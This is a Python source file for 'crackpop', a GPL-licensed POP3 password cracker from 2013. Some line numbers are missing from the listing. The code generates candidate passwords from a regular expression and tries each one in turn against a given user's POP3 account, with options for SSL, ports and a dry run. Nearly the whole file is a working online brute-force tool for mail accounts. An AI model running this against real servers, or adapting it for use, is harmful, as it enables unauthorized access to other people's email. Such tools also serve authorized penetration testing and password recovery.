3 # crackpop - a pattern-generated-dictionary pop3 password cracker
5 # Copyright (C) 2013 Antonio Ospite <ospite@studenti.unina.it>
7 # This program is free software: you can redistribute it and/or modify
8 # it under the terms of the GNU General Public License as published by
9 # the Free Software Foundation, either version 3 of the License, or
10 # (at your option) any later version.
12 # This program is distributed in the hope that it will be useful,
13 # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 # GNU General Public License for more details.
17 # You should have received a copy of the GNU General Public License
18 # along with this program. If not, see <http://www.gnu.org/licenses/>.
24 __description = "crackpop is a pattern-generated-dictionary pop3 password cracker"
26 __author_info = "Antonio Ospite"
29 def generate_passwords(password_pattern, dry_run=False):
30 passwords = list(exrex.generate(password_pattern))
33 print "Generated %d passwords." % len(passwords)
41 def crackpop(host, port, ssl, user, passwords):
43 pop3_connect = poplib.POP3_SSL
45 pop3_connect = poplib.POP3
47 print "Testing %d passwords." % len(passwords)
49 # TODO maybe the same connection can be reused for more than one try,
50 # but some logic needs to be added to detect the maximum allowed
51 # authentication attempts or a disconnection from the server.
52 pop3 = pop3_connect(host, port)
58 print e.message, "(password: %s)" % p
62 print "Found! (password: %s)" % p
67 usage = "usage: %(prog)s [options]"
69 parser = argparse.ArgumentParser(
71 description=__description,
73 version='%(prog)s ' + __version)
76 '-H', '--host', metavar="<host>",
77 dest='host', required=True,
78 help='the host where the pop3 server is')
81 '-P', '--port', metavar="<port>",
82 dest='port', default=poplib.POP3_PORT,
83 help='the port the pop3 server is listening on')
86 '-u', '--user', metavar="<user>",
87 dest='user', required=True,
88 help='username of the pop3 account')
91 '-p', '--pattern', metavar="<password_pattern>",
92 dest='password_pattern', required=True,
93 help='the regular expression describing the pattern of the password')
97 dest='dry_run', action='store_const', const=True,
98 help='only print out the passwords, do not connect to the pop3 server')
102 dest='ssl', action='store_const', const=True,
103 help='use SSL to connect to the pop3 server')
106 '-S', '--ssl-port', metavar="<ssl_port>",
107 dest='ssl_port', default=poplib.POP3_SSL_PORT,
108 help='the port the SSL pop3 server is listening on')
113 if __name__ == "__main__":
114 parser = option_parser()
115 args = parser.parse_args()
122 passwords = generate_passwords(args.password_pattern, args.dry_run)
123 crackpop(args.host, port, args.ssl, args.user, passwords)